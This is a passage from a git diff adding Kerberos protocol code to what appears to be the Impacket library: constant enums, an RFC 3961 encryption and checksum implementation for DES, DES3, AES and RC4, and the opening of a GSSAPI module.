+    92 : ('KDC_ERR_PREAUTH_BAD_AUTHENTICATION_SET', 'KDC cannot accommodate requested pre-authentication data element'),
+    93 : ('KDC_ERR_UNKNOWN_CRITICAL_FAST_OPTIONS', 'Unknown critical option'),
+}
+ 
+class TicketFlags(Enum):
+    reserved                 = 0
+    forwardable              = 1
+    forwarded                = 2
+    proxiable                = 3
+    proxy                    = 4
+    may_postdate             = 5
+    postdated                = 6
+    invalid                  = 7
+    renewable                = 8
+    initial                  = 9
+    pre_authent              = 10
+    hw_authent               = 11
+    transited_policy_checked = 12
+    ok_as_delegate           = 13
+    enc_pa_rep               = 15
+    anonymous                = 16
+
+class KDCOptions(Enum):
+    reserved                = 0
+    forwardable             = 1
+    forwarded               = 2
+    proxiable               = 3
+    proxy                   = 4
+    allow_postdate          = 5
+    postdated               = 6
+    unused7                 = 7
+    renewable               = 8
+    unused9                 = 9
+    unused10                = 10
+    opt_hardware_auth       = 11
+    unused12                = 12
+    unused13                = 13
+    cname_in_addl_tkt       = 14
+    canonicalize            = 15
+    disable_transited_check = 26
+    renewable_ok            = 27
+    enc_tkt_in_skey         = 28
+    renew                   = 30
+    validate                = 31
+
+class APOptions(Enum):
+    reserved        = 0
+    use_session_key = 1
+    mutual_required = 2
+
+class PAPacOptions(Enum):
+    # [MS-KILE] 2.2.10
+    claims                                = 0
+    branch_aware                          = 1
+    forward_to_full_dc                    = 2
+    # [MS-SFU] 2.2.5
+    resource_based_constrained_delegation = 3
+
+class EncryptionTypes(Enum):
+    des_cbc_crc                  = 1
+    des_cbc_md4                  = 2
+    des_cbc_md5                  = 3
+    _reserved_4                  = 4
+    des3_cbc_md5                 = 5
+    _reserved_6                  = 6
+    des3_cbc_sha1                = 7
+    dsaWithSHA1_CmsOID           = 9
+    md5WithRSAEncryption_CmsOID  = 10
+    sha1WithRSAEncryption_CmsOID = 11
+    rc2CBC_EnvOID                = 12
+    rsaEncryption_EnvOID         = 13
+    rsaES_OAEP_ENV_OID           = 14
+    des_ede3_cbc_Env_OID         = 15
+    des3_cbc_sha1_kd             = 16
+    aes128_cts_hmac_sha1_96      = 17
+    aes256_cts_hmac_sha1_96      = 18
+    rc4_hmac                     = 23
+    rc4_hmac_exp                 = 24
+    subkey_keymaterial           = 65
+    rc4_hmac_old_exp             = -135
+
+class ChecksumTypes(Enum):
+    rsa_md5_des       = 8
+    rsa_md4_des       = 4
+    hmac_md5          = -138
+    hmac_sha1_des3_kd = 12
+    hmac_sha1_96_aes128 = 15
+    hmac_sha1_96_aes256 = 16
diff --git a/impacket/krb5/crypto.py b/impacket/krb5/crypto.py
new file mode 100644
index 0000000..18f260d
--- /dev/null
+++ b/impacket/krb5/crypto.py
@@ -0,0 +1,703 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Copyright and license note from crypto.py:
+#
+# Copyright (C) 2013 by the Massachusetts Institute of Technology.
+# All rights reserved.
+#
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions
+# are met:
+#
+# * Redistributions of source code must retain the above copyright
+#   notice, this list of conditions and the following disclaimer.
+#
+# * Redistributions in binary form must reproduce the above copyright
+#   notice, this list of conditions and the following disclaimer in
+#   the documentation and/or other materials provided with the
+#   distribution.
+#
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+# INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+# STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+# OF THE POSSIBILITY OF SUCH DAMAGE.
+#
+from binascii import unhexlify
+from functools import reduce
+from os import urandom
+# XXX current status:
+# * Done and tested
+#   - AES encryption, checksum, string2key, prf
+#   - cf2 (needed for FAST)
+# * Still to do:
+#   - DES enctypes and cksumtypes
+#   - RC4 exported enctype (if we need it for anything)
+#   - Unkeyed checksums
+#   - Special RC4, raw DES/DES3 operations for GSSAPI
+# * Difficult or low priority:
+#   - Camellia not supported by PyCrypto
+#   - Cipher state only needed for kcmd suite
+#   - Nonstandard enctypes and cksumtypes like des-hmac-sha1
+from struct import pack, unpack
+
+from Cryptodome.Cipher import AES, DES3, ARC4, DES
+from Cryptodome.Hash import HMAC, MD4, MD5, SHA
+from Cryptodome.Protocol.KDF import PBKDF2
+from Cryptodome.Util.number import GCD as gcd
+from six import b, PY3, indexbytes
+
+
+def get_random_bytes(lenBytes):
+    # We don't really need super strong randomness here to use PyCrypto.Random
+    return urandom(lenBytes)
+
+class Enctype(object):
+    DES_CRC = 1
+    DES_MD4 = 2
+    DES_MD5 = 3
+    DES3 = 16
+    AES128 = 17
+    AES256 = 18
+    RC4 = 23
+
+
+class Cksumtype(object):
+    CRC32 = 1
+    MD4 = 2
+    MD4_DES = 3
+    MD5 = 7
+    MD5_DES = 8
+    SHA1 = 9
+    SHA1_DES3 = 12
+    SHA1_AES128 = 15
+    SHA1_AES256 = 16
+    HMAC_MD5 = -138
+
+
+class InvalidChecksum(ValueError):
+    pass
+
+
+def _zeropad(s, padsize):
+    # Return s padded with 0 bytes to a multiple of padsize.
+    padlen = (padsize - (len(s) % padsize)) % padsize
+    return s + b'\0'*padlen
+
+
+def _xorbytes(b1, b2):
+    # xor two strings together and return the resulting string.
+    assert len(b1) == len(b2)
+    return bytearray((x ^ y) for x, y in zip(b1, b2))
+
+
+def _mac_equal(mac1, mac2):
+    # Constant-time comparison function.  (We can't use HMAC.verify
+    # since we use truncated macs.)
+    assert len(mac1) == len(mac2)
+    res = 0
+    for x, y in zip(mac1, mac2):
+        res |= x ^ y
+    return res == 0
+
+
+def _nfold(ba, nbytes):
+    # Convert bytearray to a string of length nbytes using the RFC 3961 nfold
+    # operation.
+
+    # Rotate the bytes in ba to the right by nbits bits.
+    def rotate_right(ba, nbits):
+        ba = bytearray(ba)
+        nbytes, remain = (nbits//8) % len(ba), nbits % 8
+        return bytearray((ba[i-nbytes] >> remain) | ((ba[i-nbytes-1] << (8-remain)) & 0xff) for i in range(len(ba)))
+
+    # Add equal-length strings together with end-around carry.
+    def add_ones_complement(str1, str2):
+        n = len(str1)
+        v = [a + b for a, b in zip(str1, str2)]
+        # Propagate carry bits to the left until there aren't any left.
+        while any(x & ~0xff for x in v):
+            v = [(v[i-n+1]>>8) + (v[i]&0xff) for i in range(n)]
+        return bytearray(x for x in v)
+
+    # Concatenate copies of str to produce the least common multiple
+    # of len(str) and nbytes, rotating each copy of str to the right
+    # by 13 bits times its list position.  Decompose the concatenation
+    # into slices of length nbytes, and add them together as
+    # big-endian ones' complement integers.
+    slen = len(ba)
+    lcm = nbytes * slen // gcd(nbytes, slen)
+    bigstr = bytearray()
+    for i in range(lcm//slen):
+        bigstr += rotate_right(ba, 13 * i)
+    slices = (bigstr[p:p+nbytes] for p in range(0, lcm, nbytes))
+    return bytes(reduce(add_ones_complement, slices))
+
+
+def _is_weak_des_key(keybytes):
+    return keybytes in (b'\x01\x01\x01\x01\x01\x01\x01\x01',
+                        b'\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE',
+                        b'\x1F\x1F\x1F\x1F\x0E\x0E\x0E\x0E',
+                        b'\xE0\xE0\xE0\xE0\xF1\xF1\xF1\xF1',
+                        b'\x01\xFE\x01\xFE\x01\xFE\x01\xFE',
+                        b'\xFE\x01\xFE\x01\xFE\x01\xFE\x01',
+                        b'\x1F\xE0\x1F\xE0\x0E\xF1\x0E\xF1',
+                        b'\xE0\x1F\xE0\x1F\xF1\x0E\xF1\x0E',
+                        b'\x01\xE0\x01\xE0\x01\xF1\x01\xF1',
+                        b'\xE0\x01\xE0\x01\xF1\x01\xF1\x01',
+                        b'\x1F\xFE\x1F\xFE\x0E\xFE\x0E\xFE',
+                        b'\xFE\x1F\xFE\x1F\xFE\x0E\xFE\x0E',
+                        b'\x01\x1F\x01\x1F\x01\x0E\x01\x0E',
+                        b'\x1F\x01\x1F\x01\x0E\x01\x0E\x01',
+                        b'\xE0\xFE\xE0\xFE\xF1\xFE\xF1\xFE',
+                        b'\xFE\xE0\xFE\xE0\xFE\xF1\xFE\xF1')
+
+
+class _EnctypeProfile(object):
+    # Base class for enctype profiles.  Usable enctype classes must define:
+    #   * enctype: enctype number
+    #   * keysize: protocol size of key in bytes
+    #   * seedsize: random_to_key input size in bytes
+    #   * random_to_key (if the keyspace is not dense)
+    #   * string_to_key
+    #   * encrypt
+    #   * decrypt
+    #   * prf
+
+    @classmethod
+    def random_to_key(cls, seed):
+        if len(seed) != cls.seedsize:
+            raise ValueError('Wrong seed length')
+        return Key(cls.enctype, seed)
+
+
+class _SimplifiedEnctype(_EnctypeProfile):
+    # Base class for enctypes using the RFC 3961 simplified profile.
+    # Defines the encrypt, decrypt, and prf methods.  Subclasses must
+    # define:
+    #   * blocksize: Underlying cipher block size in bytes
+    #   * padsize: Underlying cipher padding multiple (1 or blocksize)
+    #   * macsize: Size of integrity MAC in bytes
+    #   * hashmod: PyCrypto hash module for underlying hash function
+    #   * basic_encrypt, basic_decrypt: Underlying CBC/CTS cipher
+
+    @classmethod
+    def derive(cls, key, constant):
+        # RFC 3961 only says to n-fold the constant only if it is
+        # shorter than the cipher block size.  But all Unix
+        # implementations n-fold constants if their length is larger
+        # than the block size as well, and n-folding when the length
+        # is equal to the block size is a no-op.
+        plaintext = _nfold(constant, cls.blocksize)
+        rndseed = b''
+        while len(rndseed) < cls.seedsize:
+            ciphertext = cls.basic_encrypt(key, plaintext)
+            rndseed += ciphertext
+            plaintext = ciphertext
+        return cls.random_to_key(rndseed[0:cls.seedsize])
+
+    @classmethod
+    def encrypt(cls, key, keyusage, plaintext, confounder):
+        ki = cls.derive(key, pack('>IB', keyusage, 0x55))
+        ke = cls.derive(key, pack('>IB', keyusage, 0xAA))
+        if confounder is None:
+            confounder = get_random_bytes(cls.blocksize)
+        basic_plaintext = confounder + _zeropad(plaintext, cls.padsize)
+        hmac = HMAC.new(ki.contents, basic_plaintext, cls.hashmod).digest()
+        return cls.basic_encrypt(ke, basic_plaintext) + hmac[:cls.macsize]
+
+    @classmethod
+    def decrypt(cls, key, keyusage, ciphertext):
+        ki = cls.derive(key, pack('>IB', keyusage, 0x55))
+        ke = cls.derive(key, pack('>IB', keyusage, 0xAA))
+        if len(ciphertext) < cls.blocksize + cls.macsize:
+            raise ValueError('ciphertext too short')
+        basic_ctext, mac = bytearray(ciphertext[:-cls.macsize]), bytearray(ciphertext[-cls.macsize:])
+        if len(basic_ctext) % cls.padsize != 0:
+            raise ValueError('ciphertext does not meet padding requirement')
+        basic_plaintext = cls.basic_decrypt(ke, bytes(basic_ctext))
+        hmac = bytearray(HMAC.new(ki.contents, basic_plaintext, cls.hashmod).digest())
+        expmac = hmac[:cls.macsize]
+        if not _mac_equal(mac, expmac):
+            raise InvalidChecksum('ciphertext integrity failure')
+        # Discard the confounder.
+        return bytes(basic_plaintext[cls.blocksize:])
+
+    @classmethod
+    def prf(cls, key, string):
+        # Hash the input.  RFC 3961 says to truncate to the padding
+        # size, but implementations truncate to the block size.
+        hashval = cls.hashmod.new(string).digest()
+        truncated = hashval[:-(len(hashval) % cls.blocksize)]
+        # Encrypt the hash with a derived key.
+        kp = cls.derive(key, b'prf')
+        return cls.basic_encrypt(kp, truncated)
+
+class _DESCBC(_SimplifiedEnctype):
+    enctype = Enctype.DES_MD5
+    keysize = 8
+    seedsize = 8
+    blocksize = 8
+    padsize = 8
+    macsize = 16
+    hashmod = MD5
+
+    @classmethod
+    def encrypt(cls, key, keyusage, plaintext, confounder):
+        if confounder is None:
+            confounder = get_random_bytes(cls.blocksize)
+        basic_plaintext = confounder + b'\x00'*cls.macsize + _zeropad(plaintext, cls.padsize)
+        checksum = cls.hashmod.new(basic_plaintext).digest()
+        basic_plaintext = basic_plaintext[:len(confounder)] + checksum + basic_plaintext[len(confounder)+len(checksum):]
+        return cls.basic_encrypt(key, basic_plaintext)
+        
+        
+    @classmethod
+    def decrypt(cls, key, keyusage, ciphertext):
+        if len(ciphertext) < cls.blocksize + cls.macsize:
+            raise ValueError('ciphertext too short')
+        
+        complex_plaintext = cls.basic_decrypt(key, ciphertext)
+        cofounder = complex_plaintext[:cls.padsize]
+        mac = complex_plaintext[cls.padsize:cls.padsize+cls.macsize]
+        message = complex_plaintext[cls.padsize+cls.macsize:]
+        
+        expmac = cls.hashmod.new(cofounder+b'\x00'*cls.macsize+message).digest()
+        if not _mac_equal(mac, expmac):
+            raise InvalidChecksum('ciphertext integrity failure')
+        return bytes(message)
+    
+    @classmethod
+    def mit_des_string_to_key(cls,string,salt):
+    
+        def fixparity(deskey):
+            temp = b''
+            for i in range(len(deskey)):
+                t = (bin(indexbytes(deskey,i))[2:]).rjust(8,'0')
+                if t[:7].count('1') %2 == 0:
+                    temp+= b(chr(int(t[:7]+'1',2)))
+                else:
+                    temp+= b(chr(int(t[:7]+'0',2)))
+            return temp
+    
+        def addparity(l1):
+            temp = list()
+            for byte in l1:
+                if (bin(byte).count('1') % 2) == 0:
+                    byte = (byte << 1)|0b00000001
+                else:
+                    byte = (byte << 1)&0b11111110
+                temp.append(byte)
+            return temp
+        
+        def XOR(l1,l2):
+            temp = list()
+            for b1,b2 in zip(l1,l2):
+                temp.append((b1^b2)&0b01111111)
+            
+            return temp
+        
+        odd = True
+        tempstring = [0,0,0,0,0,0,0,0]
+        s = _zeropad(string + salt, cls.padsize)
+
+        for block in [s[i:i+8] for i in range(0, len(s), 8)]:
+            temp56 = list()
+            #removeMSBits
+            for byte in block:
+                if PY3:
+                    temp56.append(byte&0b01111111)
+                else:
+                    temp56.append(ord(byte)&0b01111111)
+            
+            #reverse
+            if odd is False:
+                bintemp = b''
+                for byte in temp56:
+                    bintemp += b(bin(byte)[2:].rjust(7,'0'))
+                bintemp = bintemp[::-1]
+                
+                temp56 = list()
+                for bits7 in [bintemp[i:i+7] for i in range(0, len(bintemp), 7)]:
+                    temp56.append(int(bits7,2))
+
+            odd = not odd
+                
+            tempstring = XOR(tempstring,temp56)
+        
+        tempkey = ''.join(chr(byte) for byte in addparity(tempstring))
+        if _is_weak_des_key(tempkey):
+            tempkey[7] = chr(ord(tempkey[7]) ^ 0xF0)
+
+        cipher = DES.new(b(tempkey), DES.MODE_CBC, b(tempkey))
+        checksumkey = cipher.encrypt(s)[-8:]
+        checksumkey = fixparity(checksumkey)
+        if _is_weak_des_key(checksumkey):
+            checksumkey[7] = chr(ord(checksumkey[7]) ^ 0xF0)
+        
+        return Key(cls.enctype, checksumkey)
+
+    @classmethod
+    def basic_encrypt(cls, key, plaintext):
+        assert len(plaintext) % 8 == 0
+        des = DES.new(key.contents, DES.MODE_CBC, b'\0' * 8)
+        return des.encrypt(bytes(plaintext))
+
+    @classmethod
+    def basic_decrypt(cls, key, ciphertext):
+        assert len(ciphertext) % 8 == 0
+        des = DES.new(key.contents, DES.MODE_CBC, b'\0' * 8)
+        return des.decrypt(bytes(ciphertext))
+    
+    @classmethod
+    def string_to_key(cls, string, salt, params):
+        if params is not None and params != b'':
+            raise ValueError('Invalid DES string-to-key parameters')
+        key = cls.mit_des_string_to_key(string, salt)
+        return key
+    
+    
+
+class _DES3CBC(_SimplifiedEnctype):
+    enctype = Enctype.DES3
+    keysize = 24
+    seedsize = 21
+    blocksize = 8
+    padsize = 8
+    macsize = 20
+    hashmod = SHA
+
+    @classmethod
+    def random_to_key(cls, seed):
+        # XXX Maybe reframe as _DESEnctype.random_to_key and use that
+        # way from DES3 random-to-key when DES is implemented, since
+        # MIT does this instead of the RFC 3961 random-to-key.
+        def expand(seed):
+            def parity(b):
+                # Return b with the low-order bit set to yield odd parity.
+                b &= ~1
+                return b if bin(b & ~1).count('1') % 2 else b | 1
+            assert len(seed) == 7
+            firstbytes = [parity(b & ~1) for b in seed]
+            lastbyte = parity(sum((seed[i]&1) << i+1 for i in range(7)))
+            keybytes= bytearray(firstbytes + [lastbyte])
+            if _is_weak_des_key(keybytes):
+                keybytes[7] = keybytes[7] ^ 0xF0
+            return bytes(keybytes)
+
+        seed = bytearray(seed)
+        if len(seed) != 21:
+            raise ValueError('Wrong seed length')
+        k1, k2, k3 = expand(seed[:7]), expand(seed[7:14]), expand(seed[14:])
+        return Key(cls.enctype, k1 + k2 + k3)
+
+    @classmethod
+    def string_to_key(cls, string, salt, params):
+        if params is not None and params != b'':
+            raise ValueError('Invalid DES3 string-to-key parameters')
+        k = cls.random_to_key(_nfold(string + salt, 21))
+        return cls.derive(k, b'kerberos')
+
+    @classmethod
+    def basic_encrypt(cls, key, plaintext):
+        assert len(plaintext) % 8 == 0
+        des3 = DES3.new(key.contents, AES.MODE_CBC, b'\0' * 8)
+        return des3.encrypt(bytes(plaintext))
+
+    @classmethod
+    def basic_decrypt(cls, key, ciphertext):
+        assert len(ciphertext) % 8 == 0
+        des3 = DES3.new(key.contents, AES.MODE_CBC, b'\0' * 8)
+        return des3.decrypt(bytes(ciphertext))
+
+
+class _AESEnctype(_SimplifiedEnctype):
+    # Base class for aes128-cts and aes256-cts.
+    blocksize = 16
+    padsize = 1
+    macsize = 12
+    hashmod = SHA
+
+    @classmethod
+    def string_to_key(cls, string, salt, params):
+        (iterations,) = unpack('>L', params or b'\x00\x00\x10\x00')
+        prf = lambda p, s: HMAC.new(p, s, SHA).digest()
+        seed = PBKDF2(string, salt, cls.seedsize, iterations, prf)
+        tkey = cls.random_to_key(seed)
+        return cls.derive(tkey, b'kerberos')
+
+    @classmethod
+    def basic_encrypt(cls, key, plaintext):
+        assert len(plaintext) >= 16
+        aes = AES.new(key.contents, AES.MODE_CBC, b'\0' * 16)
+        ctext = aes.encrypt(_zeropad(bytes(plaintext), 16))
+        if len(plaintext) > 16:
+            # Swap the last two ciphertext blocks and truncate the
+            # final block to match the plaintext length.
+            lastlen = len(plaintext) % 16 or 16
+            ctext = ctext[:-32] + ctext[-16:] + ctext[-32:-16][:lastlen]
+        return ctext
+
+    @classmethod
+    def basic_decrypt(cls, key, ciphertext):
+        assert len(ciphertext) >= 16
+        aes = AES.new(key.contents, AES.MODE_ECB)
+        if len(ciphertext) == 16:
+            return aes.decrypt(ciphertext)
+        # Split the ciphertext into blocks.  The last block may be partial.
+        cblocks = [bytearray(ciphertext[p:p+16]) for p in range(0, len(ciphertext), 16)]
+        lastlen = len(cblocks[-1])
+        # CBC-decrypt all but the last two blocks.
+        prev_cblock = bytearray(16)
+        plaintext = b''
+        for bb in cblocks[:-2]:
+            plaintext += _xorbytes(bytearray(aes.decrypt(bytes(bb))), prev_cblock)
+            prev_cblock = bb
+        # Decrypt the second-to-last cipher block.  The left side of
+        # the decrypted block will be the final block of plaintext
+        # xor'd with the final partial cipher block; the right side
+        # will be the omitted bytes of ciphertext from the final
+        # block.
+        bb = bytearray(aes.decrypt(bytes(cblocks[-2])))
+        lastplaintext =_xorbytes(bb[:lastlen], cblocks[-1])
+        omitted = bb[lastlen:]
+        # Decrypt the final cipher block plus the omitted bytes to get
+        # the second-to-last plaintext block.
+        plaintext += _xorbytes(bytearray(aes.decrypt(bytes(cblocks[-1]) + bytes(omitted))), prev_cblock)
+        return plaintext + lastplaintext
+
+
+class _AES128CTS(_AESEnctype):
+    enctype = Enctype.AES128
+    keysize = 16
+    seedsize = 16
+
+
+class _AES256CTS(_AESEnctype):
+    enctype = Enctype.AES256
+    keysize = 32
+    seedsize = 32
+
+
+class _RC4(_EnctypeProfile):
+    enctype = Enctype.RC4
+    keysize = 16
+    seedsize = 16
+
+    @staticmethod
+    def usage_str(keyusage):
+        # Return a four-byte string for an RFC 3961 keyusage, using
+        # the RFC 4757 rules.  Per the errata, do not map 9 to 8.
+        table = {3: 8, 23: 13}
+        msusage = table[keyusage] if keyusage in table else keyusage
+        return pack('<I', msusage)
+
+    @classmethod
+    def string_to_key(cls, string, salt, params):
+        utf16string = string.encode('UTF-16LE')
+        return Key(cls.enctype, MD4.new(utf16string).digest())
+
+    @classmethod
+    def encrypt(cls, key, keyusage, plaintext, confounder):
+        if confounder is None:
+            confounder = get_random_bytes(8)
+        ki = HMAC.new(key.contents, cls.usage_str(keyusage), MD5).digest()
+        cksum = HMAC.new(ki, confounder + plaintext, MD5).digest()
+        ke = HMAC.new(ki, cksum, MD5).digest()
+        return cksum + ARC4.new(ke).encrypt(bytes(confounder + plaintext))
+
+    @classmethod
+    def decrypt(cls, key, keyusage, ciphertext):
+        if len(ciphertext) < 24:
+            raise ValueError('ciphertext too short')
+        cksum, basic_ctext = bytearray(ciphertext[:16]), bytearray(ciphertext[16:])
+        ki = HMAC.new(key.contents, cls.usage_str(keyusage), MD5).digest()
+        ke = HMAC.new(ki, cksum, MD5).digest()
+        basic_plaintext = bytearray(ARC4.new(ke).decrypt(bytes(basic_ctext)))
+        exp_cksum = bytearray(HMAC.new(ki, basic_plaintext, MD5).digest())
+        ok = _mac_equal(cksum, exp_cksum)
+        if not ok and keyusage == 9:
+            # Try again with usage 8, due to RFC 4757 errata.
+            ki = HMAC.new(key.contents, pack('<I', 8), MD5).digest()
+            exp_cksum = HMAC.new(ki, basic_plaintext, MD5).digest()
+            ok = _mac_equal(cksum, exp_cksum)
+        if not ok:
+            raise InvalidChecksum('ciphertext integrity failure')
+        # Discard the confounder.
+        return bytes(basic_plaintext[8:])
+
+    @classmethod
+    def prf(cls, key, string):
+        return HMAC.new(key.contents, bytes(string), SHA).digest()
+
+
+class _ChecksumProfile(object):
+    # Base class for checksum profiles.  Usable checksum classes must
+    # define:
+    #   * checksum
+    #   * verify (if verification is not just checksum-and-compare)
+    @classmethod
+    def verify(cls, key, keyusage, text, cksum):
+        expected = cls.checksum(key, keyusage, text)
+        if not _mac_equal(bytearray(cksum), bytearray(expected)):
+            raise InvalidChecksum('checksum verification failure')
+
+
+class _SimplifiedChecksum(_ChecksumProfile):
+    # Base class for checksums using the RFC 3961 simplified profile.
+    # Defines the checksum and verify methods.  Subclasses must
+    # define:
+    #   * macsize: Size of checksum in bytes
+    #   * enc: Profile of associated enctype
+
+    @classmethod
+    def checksum(cls, key, keyusage, text):
+        kc = cls.enc.derive(key, pack('>IB', keyusage, 0x99))
+        hmac = HMAC.new(kc.contents, text, cls.enc.hashmod).digest()
+        return hmac[:cls.macsize]
+
+    @classmethod
+    def verify(cls, key, keyusage, text, cksum):
+        if key.enctype != cls.enc.enctype:
+            raise ValueError('Wrong key type for checksum')
+        super(_SimplifiedChecksum, cls).verify(key, keyusage, text, cksum)
+
+
+class _SHA1AES128(_SimplifiedChecksum):
+    macsize = 12
+    enc = _AES128CTS
+
+
+class _SHA1AES256(_SimplifiedChecksum):
+    macsize = 12
+    enc = _AES256CTS
+
+
+class _SHA1DES3(_SimplifiedChecksum):
+    macsize = 20
+    enc = _DES3CBC
+
+
+class _HMACMD5(_ChecksumProfile):
+    @classmethod
+    def checksum(cls, key, keyusage, text):
+        ksign = HMAC.new(key.contents, b'signaturekey\0', MD5).digest()
+        md5hash = MD5.new(_RC4.usage_str(keyusage) + text).digest()
+        return HMAC.new(ksign, md5hash, MD5).digest()
+
+    @classmethod
+    def verify(cls, key, keyusage, text, cksum):
+        if key.enctype != Enctype.RC4:
+            raise ValueError('Wrong key type for checksum')
+        super(_HMACMD5, cls).verify(key, keyusage, text, cksum)
+
+
+_enctype_table = {
+    Enctype.DES_MD5: _DESCBC,
+    Enctype.DES3: _DES3CBC,
+    Enctype.AES128: _AES128CTS,
+    Enctype.AES256: _AES256CTS,
+    Enctype.RC4: _RC4
+}
+
+
+_checksum_table = {
+    Cksumtype.SHA1_DES3: _SHA1DES3,
+    Cksumtype.SHA1_AES128: _SHA1AES128,
+    Cksumtype.SHA1_AES256: _SHA1AES256,
+    Cksumtype.HMAC_MD5: _HMACMD5,
+    0xffffff76: _HMACMD5
+}
+
+
+def _get_enctype_profile(enctype):
+    if enctype not in _enctype_table:
+        raise ValueError('Invalid enctype %d' % enctype)
+    return _enctype_table[enctype]
+
+
+def _get_checksum_profile(cksumtype):
+    if cksumtype not in _checksum_table:
+        raise ValueError('Invalid cksumtype %d' % cksumtype)
+    return _checksum_table[cksumtype]
+
+
+class Key(object):
+    def __init__(self, enctype, contents):
+        e = _get_enctype_profile(enctype)
+        if len(contents) != e.keysize:
+            raise ValueError('Wrong key length')
+        self.enctype = enctype
+        self.contents = contents
+
+
+def random_to_key(enctype, seed):
+    e = _get_enctype_profile(enctype)
+    if len(seed) != e.seedsize:
+        raise ValueError('Wrong crypto seed length')
+    return e.random_to_key(seed)
+
+
+def string_to_key(enctype, string, salt, params=None):
+    e = _get_enctype_profile(enctype)
+    return e.string_to_key(string, salt, params)
+
+
+def encrypt(key, keyusage, plaintext, confounder=None):
+    e = _get_enctype_profile(key.enctype)
+    return e.encrypt(key, keyusage, bytes(plaintext), bytes(confounder))
+
+
+def decrypt(key, keyusage, ciphertext):
+    # Throw InvalidChecksum on checksum failure.  Throw ValueError on
+    # invalid key enctype or malformed ciphertext.
+    e = _get_enctype_profile(key.enctype)
+    return e.decrypt(key, keyusage, ciphertext)
+
+
+def prf(key, string):
+    e = _get_enctype_profile(key.enctype)
+    return e.prf(key, string)
+
+
+def make_checksum(cksumtype, key, keyusage, text):
+    c = _get_checksum_profile(cksumtype)
+    return c.checksum(key, keyusage, text)
+
+
+def verify_checksum(cksumtype, key, keyusage, text, cksum):
+    # Throw InvalidChecksum exception on checksum failure.  Throw
+    # ValueError on invalid cksumtype, invalid key enctype, or
+    # malformed checksum.
+    c = _get_checksum_profile(cksumtype)
+    c.verify(key, keyusage, text, cksum)
+
+
+def cf2(enctype, key1, key2, pepper1, pepper2):
+    # Combine two keys and two pepper strings to produce a result key
+    # of type enctype, using the RFC 6113 KRB-FX-CF2 function.
+    def prfplus(key, pepper, l):
+        # Produce l bytes of output using the RFC 6113 PRF+ function.
+        out = b''
+        count = 1
+        while len(out) < l:
+            out += prf(key, b(chr(count)) + pepper)
+            count += 1
+        return out[:l]
+
+    e = _get_enctype_profile(enctype)
+    return e.random_to_key(_xorbytes(bytearray(prfplus(key1, pepper1, e.seedsize)),
+                                     bytearray(prfplus(key2, pepper2, e.seedsize))))
diff --git a/impacket/krb5/gssapi.py b/impacket/krb5/gssapi.py
new file mode 100644
index 0000000..3fd617b
--- /dev/null
+++ b/impacket/krb5/gssapi.py
@@ -0,0 +1,298 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   RFC 1964 Partial Implementation
+#   RFC 4757 Partial Implementation
+#   RFC 4121 Partial Implementation
+#   RFC 3962 Partial Implementation
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+import struct
+import random
+import string
+from six import b
+
+from Cryptodome.Hash import HMAC, MD5
+from Cryptodome.Cipher import ARC4
+
+from impacket.structure import Structure
+from impacket.krb5 import constants, crypto
+
+# Our random number generator
+try:
+    rand = random.SystemRandom()
+except NotImplementedError:
+    rand = random
+    pass
+
+# Constants
+GSS_C_DCE_STYLE     = 0x1000
+GSS_C_DELEG_FLAG    = 1
+GSS_C_MUTUAL_FLAG   = 2
+GSS_C_REPLAY_FLAG   = 4
+GSS_C_SEQUENCE_FLAG = 8
+GSS_C_CONF_FLAG     = 0x10
+GSS_C_INTEG_FLAG    = 0x20
+
+# Mic Semantics
+GSS_HMAC = 0x11
+# Wrap Semantics
+GSS_RC4  = 0x10
+
+# 2.  Key Derivation for Per-Message Tokens
+KG_USAGE_ACCEPTOR_SEAL  = 22
+KG_USAGE_ACCEPTOR_SIGN  = 23
+KG_USAGE_INITIATOR_SEAL = 24
+KG_USAGE_INITIATOR_SIGN = 25
+
+KRB5_AP_REQ = struct.pack('<H', 0x1)
+
+# 1.1.1. Initial Token - Checksum field
+class CheckSumField(Structure):
+    structure = (
+        ('Lgth','<L=16'),
+        ('Bnd','16s=b""'),
+        ('Flags','<L=0'),
+    )
+
+def GSSAPI(cipher):
+    if cipher.enctype == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
+        return GSSAPI_AES256()
+    if cipher.enctype == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
+        return GSSAPI_AES128()
+    elif cipher.enctype == constants.EncryptionTypes.rc4_hmac.value:
+        return GSSAPI_RC4()
+    else:
+        raise Exception('Unsupported etype 0x%x' % cipher.enctype)
+
+# 7.2.   GSS-API MIC Semantics
+class GSSAPI_RC4:
+    # 1.2.1. Per-message Tokens - MIC
+    class MIC(Structure):
+        structure = (
+            ('TOK_ID','<H=0x0101'),
+            ('SGN_ALG','<H=0'),
+            ('Filler','<L=0xffffffff'),
+            ('SND_SEQ','8s=b""'),
+            ('SGN_CKSUM','8s=b""'),
+        )
+
